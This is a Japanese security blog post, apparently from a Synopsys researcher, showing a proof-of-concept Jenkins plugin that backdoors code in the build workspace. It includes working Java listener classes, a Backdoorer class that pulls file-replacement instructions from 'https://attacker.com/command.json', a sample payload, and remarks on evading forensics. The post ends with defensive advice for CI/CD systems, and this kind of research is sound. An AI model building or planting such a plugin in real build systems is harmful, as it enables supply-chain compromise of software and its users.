この記事では、Jenkinsのインスタンスを侵害した攻撃者が、そのインスタンスで構築されたソフトウェアにバックドア(不正侵入のための入り口)をどのように仕掛けたか、また攻撃を防ぐために不可欠なセキュリティ対策についてご紹介します。
私がシノプシスに入社したばかりのとき、ある同僚が私たちのチャット・チャンネルの1つで「JenkinsでMavenのビルドにバックドアを仕掛ける方法は?」という興味深い質問をしました。私は、興味をそそられたものの、その質問を追求する時間的余裕がありませんでした。
ご存じない方のために一言しておくと、JenkinsはCI/CDでソフトウェアを構築、テスト、デプロイするために広く利用されている自動化ツールです。Jenkinsは、規模の大小を問わず、多くの企業でソフトウェア構築に使用されているオープンソースです。
最近起こった注目度の高い侵害によりサプライ・チェーンのセキュリティに再び注目が集まったこともあり、私はその質問を再検討し、ビルドする前に攻撃者による変更をソースコードに追加できる概念実証用のJenkinsプラグインを開発することにしました。上流のソース・リポジトリのコミットは必要ありません。
コードの説明に進む前に、いくつかの注意点があります。
次に、技術的な詳細の説明に入ります。
Jenkinsにはプラグインのライフサイクル修飾子として機能するさまざまな拡張ポイントがあります。ここで関連があると思われるクラスはWorkspaceListenerとSCMListenerの2つです。WorkspaceListenerのbeforeUse()メソッドを使用すると、ビルドが発生する前にワークスペースを操作することができ、SCMListenerのonCheckout()メソッドを使用すると、コードがソース・リポジトリからプルされた後(ビルドの前)にワークスペースを操作できます。
AbstractBuild.AbstractBuildExecutionのrun()メソッドのソースを調べることで、この動作を簡単に確認できます。
ビルドが実際に実行される前(504行目)に、登録されたWorkspaceListenerインスタンスでbeforeUse()が呼び出されます(495行目)。checkout()(499行目)でdefaultCheckout()を呼び出し、チェックアウトが成功した場合、登録されたSCMListenerインターフェイスでonCheckout()を呼び出します。
SCMを使用しないインスタンスはWorkspaceListenerでカバーされますが、SCMを使用するインスタンスの場合はWorkspaceListenerの変更がチェックアウトによって消去されるため、SCMListenerが必要です。両方のインスタンスを登録することでプロジェクトの適用範囲に柔軟性を持たせることができます。
そこで、次のような単純なリスナーをいくつか作成するという方法があります。
@Extension public class WorkspaceBackdoorerListener extends WorkspaceListener { @Override public void beforeUse(AbstractBuild b, FilePath workspace, BuildListener listener) { Backdoorer.backdoorFiles(b, workspace); } }
@Extension public class WorkspaceBackdoorerSCMListener extends SCMListener { @Override public void onCheckout(Run build, SCM scm, FilePath workspace, TaskListener listener, File changelogFile, SCMRevisionState pollingBaseline) throws Exception { Backdoorer.backdoorFiles((AbstractBuild) build, workspace); } }
ファイルの変更方法は、ステルス要件、対象となるファイルの変更頻度などによって異なります。次の例では、プラグインが、以下の要素で構成される配列を持つリモートJSONファイルを要求します。
public class Backdoorer { private static final String cmdUrl = "https://attacker.com/command.json"; protected static void backdoorFiles(AbstractBuild b, FilePath workspace) { String projUrl = b.getProject().getUrl(); HttpResponse<JsonNode> response = Unirest.get(cmdUrl).asJson(); JsonNode resp = response.getBody(); for(Object project : resp.getArray()) { JSONObject p = (JSONObject) project; if(p.getString("projUrl").equals(projUrl)) { String pattern = p.getString("searchPattern"); try { FilePath[] workspaceFiles = workspace.list(pattern); for(Object replacement : p.getJSONArray("replacements")) { JSONObject r = (JSONObject) replacement; String filename = r.getString("filename"); String digest = r.getString("digest"); String newContents = r.getString("newContents"); Arrays.stream(workspaceFiles).filter(f -> f.getName().equals(filename)).forEach(f -> { try { if(f.digest().equals(digest)) { f.write(newContents, null); } } catch (IOException | InterruptedException e) { e.printStackTrace(); } }); } } catch (IOException | InterruptedException e) { e.printStackTrace(); } } } } }
キャッシュもない単純なコードですが、ファイル操作にはJavaのネイティブFileクラスではなく、Jenkins固有のFilePathクラスが使用されていることに注意してください。JavaネイティブFileクラスはリモート・ビルド・エージェントにあるファイルを透過的に処理します。
変更されたファイルはビルドが完了した後もワークスペースに残ります。カウンター・フォレンジック(証拠隠滅)対策として、変更されたファイルを元の状態に戻すことが必要な場合があります。私はこれを実装しようと試みたことはありませんが、Jenkinsの拡張ポイントを見ると、実行可能な手段としては、BuildStep引数がNotifierのインスタンスかどうかをチェックするfinished()メソッドを使用してBuildStepListenerを作成する方法があります。
サンプルMavenプロジェクトをプルしてビルドするだけの基本的なフリースタイル・プロジェクトを考えてみましょう。
ソースコードを見ればわかるように、構築されたメインクラスは”Hello world”と印刷するだけです。そこで、このファイルの変更方法をプラグインに指示するJSONファイルを作成します。
[ { "projUrl": "job/Test/", "searchPattern": "**", "replacements": [ { "filename": "App.java", "digest": "3efe91774afb84a68f0d81ee3610510f", "newContents": "package com.github.jitpack;\r\n\r\n\/**\r\n * Hello world!\r\n *\r\n *\/\r\npublic class App\r\n{\r\n public static void main(String[] args)\r\n {\r\n System.out.println(new App().greet(\"world\"));\r\n }\r\n\r\n public String greet(String name) {\r\n return \"You've been backdoored, \" + name;\r\n }\r\n}" } ] } ]
そして、そのファイルを提供します。
このビルドを実行すると、Gitからソースコードが取得されていることがわかります。
ビルドされたバージョンを実行すると、内容が変更されています。
うまくいけば、侵害されたJenkinsインスタンスをその所有者に向けるという比較的簡単な方法で仕返しが可能で、「ただの」バックドア・コードをはるかに凌ぐ効果があります。Jenkinsなどのシステムには、通常、本番のオンプレミスActive Directory環境、クラウド環境、Kubernetes環境などの他システムの多くの資格情報が存在します。分散ビルド・エージェントによって他のネットワーク・セグメントへの横移動が可能になります。これらのシステムにアクセス可能なソースコードや構築されたアーティファクトは、漏洩してはならない重要なIPを構成している可能性があります。
こうした可能性(その多くは、この例で示す高い特権レベルを必要としません)によって、Jenkinsインスタンス、CI/CDシステム全般、「開発インフラストラクチャ」が攻撃者にとって総じて魅力的なターゲットになっているため、これらを堅牢なパッチ管理、アクセス制御、構成管理措置の対象にする必要があります。組織またはそのベンダーが実施するセキュリティ評価では、これらのシステムを確実にカバーし、セキュリティ対策を評価する必要があります。